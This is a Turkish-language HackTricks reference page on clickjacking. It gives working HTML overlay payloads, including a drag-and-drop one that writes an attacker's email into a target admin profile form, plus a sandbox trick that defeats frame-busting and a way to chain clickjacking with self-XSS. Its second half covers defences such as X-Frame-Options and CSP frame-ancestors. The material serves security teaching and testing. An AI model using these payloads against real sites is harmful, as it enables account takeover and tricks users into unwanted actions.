Clickjacking

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Clickjacking Nedir

Bir clickjacking saldırısında, bir kullanıcı, bir web sayfasındaki görünmez veya farklı bir öğe olarak gizlenmiş bir öğe üzerine tıklamaya kandırılır. Bu manipülasyon, kullanıcının istemeden kötü amaçlı yazılım indirmesi, kötü niyetli web sayfalarına yönlendirilmesi, kimlik bilgileri veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin çevrimiçi satın alınması gibi istenmeyen sonuçlara yol açabilir.

Formları Önceden Doldurma Hilesi

Bazen bir sayfa yüklenirken GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.

Sürükle ve Bırak ile Form Doldurma

Kullanıcının bir formu doldurmasını istiyorsanız ancak ona bazı özel bilgileri (bildiğiniz e-posta veya özel şifre gibi) yazmasını doğrudan istemek istemiyorsanız, ona sadece Sürükle ve Bırak yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, bu örnekteki gibi.

Temel Yük

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Çok Aşamalı Yükleme

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Sürükle&Bırak + Tıkla yükü

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Eğer bir kullanıcının tıklamasını gerektiren bir XSS saldırısı tespit ettiyseniz ve sayfa clickjacking'e karşı savunmasızsa, kullanıcıyı butona/bağlantıya tıklamaya kandırmak için bunu kötüye kullanabilirsiniz. Örnek: Hesabın bazı özel detaylarında bir self XSS buldunuz (bu detayları sadece siz ayarlayabilir ve okuyabilirsiniz). Bu detayları ayarlamak için kullanılan formun bulunduğu sayfa Clickjacking'e karşı savunmasız ve formu GET parametreleri ile önceden doldurabilirsiniz. __Bir saldırgan, formu XSS yükü ile önceden doldurarak o sayfaya bir Clickjacking saldırısı hazırlayabilir ve kullanıcıyı formu göndermeye kandırabilir. Böylece, form gönderildiğinde ve değerler değiştirildiğinde, kullanıcı XSS'i çalıştıracaktır.

Clickjacking'i Azaltma Stratejileri

İstemci Tarafı Savunmaları

İstemci tarafında yürütülen betikler, Clickjacking'i önlemek için eylemler gerçekleştirebilir:

  • Uygulama penceresinin ana veya üst pencere olduğundan emin olmak.

  • Tüm çerçevelerin görünür olmasını sağlamak.

  • Görünmez çerçevelere tıklamayı önlemek.

  • Kullanıcıları potansiyel Clickjacking girişimlerine karşı tespit etmek ve uyarmak.

Ancak, bu çerçeve kırıcı betikler aşılabilir:

  • Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.

  • HTML5 iframe sandbox Özelliği: Bir saldırgan, allow-forms veya allow-scripts değerleri ile sandbox özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir, allow-top-navigation olmadan. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The allow-forms ve allow-scripts değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin beklenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak allow-same-origin ve allow-modals gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.

Sunucu Tarafı Savunmaları

X-Frame-Options

X-Frame-Options HTTP yanıt başlığı, tarayıcılara bir sayfanın <frame> veya <iframe> içinde render edilmesinin meşruiyeti hakkında bilgi verir ve Clickjacking'i önlemeye yardımcı olur:

  • X-Frame-Options: deny - Hiçbir alan içeriği çerçeveleyemez.

  • X-Frame-Options: sameorigin - Sadece mevcut site içeriği çerçeveleyebilir.

  • X-Frame-Options: allow-from https://trusted.com - Sadece belirtilen 'uri' sayfayı çerçeveleyebilir.

  • Sınırlamaları not edin: tarayıcı bu yönergeyi desteklemiyorsa, çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors yönergesini tercih eder.

İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi

CSP'deki frame-ancestors yönergesi, Clickjacking koruması için önerilen yöntemdir:

  • frame-ancestors 'none' - X-Frame-Options: deny ile benzer.

  • frame-ancestors 'self' - X-Frame-Options: sameorigin ile benzer.

  • frame-ancestors trusted.com - X-Frame-Options: allow-from ile benzer.

Örneğin, aşağıdaki CSP yalnızca aynı alan adından çerçevelemeye izin verir:

Content-Security-Policy: frame-ancestors 'self';

Daha fazla ayrıntı ve karmaşık örnekler için frame-ancestors CSP belgelerine ve Mozilla'nın CSP frame-ancestors belgelerine bakabilirsiniz.

İçerik Güvenlik Politikası (CSP) ile child-src ve frame-src

İçerik Güvenlik Politikası (CSP), tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.

frame-src Yönergesi

  • Çerçeveler için geçerli kaynakları tanımlar.

  • default-src yönergesinden daha spesifiktir.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden çerçevelere izin verir.

child-src Yönergesi

  • Web işçileri ve çerçeveler için geçerli kaynakları belirlemek üzere CSP seviye 2'de tanıtılmıştır.

  • frame-src ve worker-src için bir yedek olarak işlev görür.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.

Kullanım Notları:

  • Kullanımdan Kaldırma: child-src, frame-src ve worker-src lehine aşamalı olarak kaldırılmaktadır.

  • Yedek Davranış: Eğer frame-src yoksa, child-src çerçeveler için yedek olarak kullanılır. Her ikisi de yoksa, default-src kullanılır.

  • Sıkı Kaynak Tanımı: Sömürüyü önlemek için direktiflerde yalnızca güvenilir kaynaklar dahil edilmelidir.

JavaScript Çerçeve Kırma Scriptleri

Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve kırma scriptleri, bir web sayfasının çerçevelenmesini önlemek için kullanılabilir. Örnek:

if (top !== self) {
top.location = self.location;
}

Anti-CSRF Tokenlarının Kullanımı

  • Token Doğrulama: Web uygulamalarında anti-CSRF tokenları kullanarak, durum değiştiren isteklerin kullanıcının isteğiyle ve Clickjacked bir sayfa aracılığıyla değil, kasıtlı olarak yapıldığından emin olun.

Referanslar

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated